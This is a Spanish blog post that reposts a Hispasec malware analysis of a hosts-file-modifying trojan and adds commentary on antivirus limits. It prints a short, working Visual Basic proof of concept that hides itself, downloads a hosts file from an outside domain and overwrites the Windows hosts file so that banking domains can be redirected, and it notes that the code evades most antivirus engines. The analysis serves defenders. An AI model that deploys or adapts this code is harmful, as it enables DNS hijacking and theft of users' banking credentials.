Ir al contenido principal

Un modificador de hosts sencillo evita la detección de los antivirus


Una parte importante de los troyanos realizan acciones de modificación del archivo hosts, son los conocidos como "modificadores de hosts" o como "host modifier". Durante el análisis de un malware de este tipo en nuestro laboratorio, y con gran sorpresa, observamos que no fue detectado por ningún antivirus. Lo hemos analizado para ver su código malicioso y comprender por qué no fue detectado.
  
Dentro del departamento antifraude de Hispasec, una de las acciones que solemos realizar diariamente es el análisis de malware que afecta a los clientes de las entidades bancarias suscriptoras de nuestros servicios antifraude. Estamos acostumbrados a tratar con múltiples muestras, aunque generalmente solemos encontrar versiones de las familias más habituales. Sin embargo, de vez en cuando, encontramos alguna muestra que nos sorprende por no ser detectada por antivirus, aportar alguna técnica novedosa, etc.
El análisis de esta nueva muestra (con hash
ecc58e97f64ca42fe638e499a2ad7f50a3008f30f071cecb71b2c223d7d8d1ac) nos permitió observar que realizaba una modificación del hosts pero no empleaba ningún mecanismo de ofuscacion o poliformismo. Esto nos sorprendió, ya que una acción como la de modificar el archivo hosts debería ser detectado por al menos un buen número de antivirus. Actualmente esta muestra es detectada por 12 de 47 antivirus.

Un "HostModifier" es un modificador del archivo hosts. El archivo hosts contiene la correspondencia entre el nombre de un dominio y su dirección IP. Cuando Windows resuelve la dirección IP, va a consultar primero el archivo host y si el dominio no está dentro, hace una petición al servidor DNS para recoger la dirección IP.
Un atacante puede modificar el archivo hosts para redireccionar los dominios reales a dominios fraudulentos. Este ataque se utiliza para robar datos como, por ejemplo credenciales bancarias. Además, este ataque es más sencillo de realizar para robar datos y credenciales, comparado con otras familias más elaboradas y complejas como Zeus, Citadel, SpyEye, etc.
Para explicar las funcionalidades del "host modifier", hemos creado una versión más sencilla con solo la parte maliciosa. Esperamos que sirva también de ayuda para los analistas de malware y laboratorios antivirus. La lógica del programa es la siguiente: (1) se esconde del usuario, (2) recoge el archivo hosts de un servidor a distancia, (3) re-escribe el actual archivo hosts, y (4) termina su ejecución. Más sencillo imposible.
Código fuente:
Private Sub Form_Load()
    Dim oHTTP As Object
    Dim oADOStream As Object
   ' Ofuscación del programa
   Me.Hide
   
    'Descarga el archivo hosts
    Set oHTTP = CreateObject("Microsoft.XMLHTTP")
   
    oHTTP.Open "GET", "http://bwjdwqh.com/ht.txt", False
    oHTTP.Send
    'Re-escribe el archivo hosts
    Set oADOStream = CreateObject("Adodb.Stream")
    oADOStream.Type = 1
    oADOStream.Mode = 3
    oADOStream.Open
    oADOStream.Write oHTTP.responseBody
    oADOStream.SaveToFile CStr(Environ("WINDIR") & "\\system32\\drivers\\etc\\hosts"), 2
    oADOStream.Close
   
    'Detiene el programa
    End
End Sub
Este código, como prueba de concepto, lo hemos subido a VirusTotal para comprobar los resultados de los análisis de los antivirus. De los 48 antivirus, solo uno, McAfee-GW-Edition, lo ha detectado como sospechoso. Curioso que este mismo antivirus en cambio detecte como malware todos los programas VisualBasic sin línea de programación dentro.
https://www.virustotal.com/es/file/f708a2133b3b9fae65adb7ff152853a2e4ede857d8912567210d9606a5cec8e5/analysis/1379951161/
Queremos subrayar la importancia de mantener actualizado el antivirus, así como prestar atención a las alertas de análisis heurístico de comportamientos maliciosos.
Más informacion:
Hash del programa compilado
SHA256: f708a2133b3b9fae65adb7ff152853a2e4ede857d8912567210d9606a5
Análisis de los antivirus:
Análisis muestra original:

Fuente:
http://unaaldia.hispasec.com/2013/09/un-modificador-de-hosts-sencillo-evita.html

Conclusiones

Tomar en cuenta este articulo y nunca confiarse en un determinado antivirus. La pregunta más complicada que siempre les van a hacer es.

¿ Y cual es el mejor antivirus? Por allí alguno te responderá con marca X o Y  pero quien responde esto o le dan una comision por recomendarlo o no sabe nada, pues como hemos visto.. es posible que programemos un programa "malito" y como es relativamente nuevo para el mundo al principio pasara desapercibido.

Todavía peor cuando alguien te dice pues.. es que si tienes cuidado y no te bajas cosas y un poco de sentido común estas hecho todavía sabe menos el que te dice esto.

La única manera es estudiar un poco sobre como asegurar el sistema, mantener siempre actualizado el antivirus (no queda de otra) y por lo menos hasta hace seis meses Microsoft security essential se volvio una excelente alternativa por si no tienes dinero en comprar un antivirus. No es por hacerle promoción pero al ser de MS hacen uso de técnicas internas que quizas solo ellos conocen del sistema y se ha vuelto bueno.  Aunque repito hay muchas maneras de evadir los antivirus y no por estar usando uno determinado estaremos a salvo.
 

Comentarios

Publicar un comentario

Entradas populares de este blog

¿Qué es la ejecución de código arbitrario?

En informática , el término código arbitrario hace referencia a código muy largo que no será interpretado por una aplicación o sistema operativo sino que provocará un desbordamiento de búfer de esa aplicación o sistema operativo lo que hará que el trozo desbordado sea interpretado y/o ejecutado por el sistema bajo unas condiciones más favorables. Es utilizado para realizar ataques. Otra forma más simple de definirlo es que la ejecución de código arbitrario es: Una forma fácil en la que un atacante puede ejecutar "comandos" tan sencillo como pensar en que alguien a distancia esta tecleando comandos que pueden ser desde un inocente mkdir "para hacer directorio" hasta un rm "borrar directorio" o abrir puertos etc para troyanizar el equipo "mantener el acceso". Lo que también es conocido como remote code execution .

Chiste del día

Chistes que Windows solía contarme :) lo bueno que ahora uso GNU/Linux Para los más y menos entendidos del temita, les sacara una risa

Programación Visual con Node-Red: Conectando el Internet de las Cosas con Facilidad

Programación Visual con Node-Red: Conectando el Internet de las Cosas con Facilidad ¿Te has imaginado como sería tener al alcance de tus dedos el poder de revisar cuanta comida tienes en el refrigerador? ¿Encender y apagar las luces de tu casa? En fin controlar cualquier aspecto de tu casa desde la comodidad de tu teléfono es posible y es un concepto que cada día cobra más fuerza se llama "El internet de las cosas" pero como nosotros somos entusiastas de la tecnología no solo nos interesa ser usuarios sino también creadores.  ¿Te gustaría saber un poquito mas sobre esta tecnología?  en este artículo te cuento como programar de forma visual con Node-Red: A través de la programación, hacemos que las máquinas imiten un comportamiento complejo siguiendo secuencias de instrucciones simples. Utilizar lenguajes de programación textual como Asambly, C, Python y JavaScript, es una de las formas principales de hacerlo. Los diseñadores de estos lenguajes de programación